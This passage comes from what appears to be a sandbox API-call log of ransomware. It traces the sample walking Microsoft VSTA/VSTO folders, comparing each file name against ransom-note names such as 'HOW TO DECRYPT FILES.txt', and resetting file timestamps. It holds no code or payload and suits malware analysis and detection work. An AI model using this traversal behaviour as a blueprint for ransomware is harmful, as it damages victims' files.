shared\\VSTA\\Pipeline.v10.0\\AddInViews\\*.*") returned="*.*" [0076.499] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\" [0076.499] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\") returned="" [0076.501] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.501] CloseHandle (hObject=0x94) returned 1 [0076.502] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.502] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.dll") returned -1 [0076.502] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.dll") returned -1 [0076.502] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.dll") returned -1 [0076.502] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\Microsoft.Office.Tools.v9.0.dll") returned="Microsoft.Office.Tools.v9.0.dll" [0076.502] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\" [0076.502] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\") returned="" [0076.502] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.502] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.dll") returned -1 [0076.502] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.dll") returned -1 [0076.502] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.Runtime.v9.0.dll") returned -1 [0076.502] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.dll") returned="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.dll" [0076.502] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\" [0076.503] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\AddInViews\\") returned="" [0076.503] lstrcmpA (lpString1=".", lpString2="Contracts") returned -1 [0076.503] lstrcmpA (lpString1="..", lpString2="Contracts") returned -1 [0076.503] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\*.*") returned="*.*" [0076.503] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52328bf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd33e0960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd33e0960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f0048, dwReserved1=0x200057, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.504] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.504] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.504] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0076.504] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.504] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.dll") returned -1 [0076.504] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.dll") returned -1 [0076.504] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.dll") returned -1 [0076.504] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\*.*") returned="*.*" [0076.504] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\" [0076.505] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\") returned="" [0076.506] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0076.506] CloseHandle (hObject=0x94) returned 1 [0076.507] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.507] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.dll") returned -1 [0076.507] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.dll") returned -1 [0076.507] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.dll") returned -1 [0076.507] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.dll") returned="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.dll" [0076.507] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\" [0076.507] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\") returned="" [0076.508] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.508] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll") returned -1 [0076.508] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll") returned -1 [0076.508] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll") returned -1 [0076.508] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.dll") returned="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.dll" [0076.508] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\" [0076.508] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\") returned="" [0076.508] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.508] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll") returned -1 [0076.508] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll") returned -1 [0076.508] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll") returned -1 [0076.508] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll") returned="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.dll" [0076.508] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\" [0076.508] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\Contracts\\") returned="" [0076.509] lstrcmpA (lpString1=".", lpString2="HostSideAdapters") returned -1 [0076.509] lstrcmpA (lpString1="..", lpString2="HostSideAdapters") returned -1 [0076.509] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\*.*") returned="*.*" [0076.509] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x583906f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd60f4a00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd60f4a00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.510] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0076.510] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0076.510] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.510] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.dll") returned -1 [0076.510] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.dll") returned -1 [0076.510] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.dll") returned -1 [0076.510] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\*.*") returned="*.*" [0076.510] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\" [0076.510] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\") returned="" [0076.512] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.512] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll") returned -1 [0076.512] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll") returned -1 [0076.512] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll") returned -1 [0076.512] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.dll") returned="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.dll" [0076.512] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\" [0076.512] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\") returned="" [0076.512] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.513] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll") returned -1 [0076.513] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll") returned -1 [0076.513] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll") returned -1 [0076.513] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll") returned="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll" [0076.513] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\" [0076.513] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\") returned="" [0076.513] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.513] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll") returned -1 [0076.513] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll") returned -1 [0076.513] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll") returned -1 [0076.513] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll") returned="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll" [0076.513] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\" [0076.513] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\") returned="" [0076.514] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.514] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll") returned -1 [0076.514] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll") returned -1 [0076.514] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll") returned -1 [0076.514] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll") returned="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll" [0076.514] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\" [0076.514] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\") returned="" [0076.514] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.514] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PipelineSegments.store") returned -1 [0076.514] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PipelineSegments.store") returned -1 [0076.514] lstrcmpiA (lpString1="", lpString2="PipelineSegments.store") returned -1 [0076.514] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\*.*") returned="*.*" [0076.514] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\" [0076.514] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTA\\Pipeline.v10.0\\") returned="" [0076.517] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*.*") returned="*.*" [0076.517] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d01960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d01960, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.519] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\*.*") returned="*.*" [0076.520] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x274de510, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd6d73d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d73d80, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.522] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\*.*") returned="*.*" [0076.522] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5279f530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x5014f3, cFileName=".", cAlternateFileName="")) returned 0x502658 [0076.523] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.523] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VSTOInstallerUI.dll") returned -1 [0076.523] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VSTOInstallerUI.dll") returned -1 [0076.523] lstrcmpiA (lpString1="", lpString2="VSTOInstallerUI.dll") returned -1 [0076.523] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\*.*") returned="*.*" [0076.523] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\" [0076.523] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\") returned="" [0076.526] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0076.526] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VSTOLoaderUI.dll") returned -1 [0076.526] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VSTOLoaderUI.dll") returned -1 [0076.526] lstrcmpiA (lpString1="", lpString2="VSTOLoaderUI.dll") returned -1 [0076.526] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned="VSTOInstallerUI.dll" [0076.526] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\" [0076.526] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\") returned="" [0076.527] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0076.527] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="VSTOInstaller.config") returned -1 [0076.527] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="VSTOInstaller.config") returned -1 [0076.527] lstrcmpiA (lpString1="", lpString2="VSTOInstaller.config") returned -1 [0076.527] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\*.*") returned="*.*" [0076.527] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\" [0076.527] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VSTO\\10.0\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft 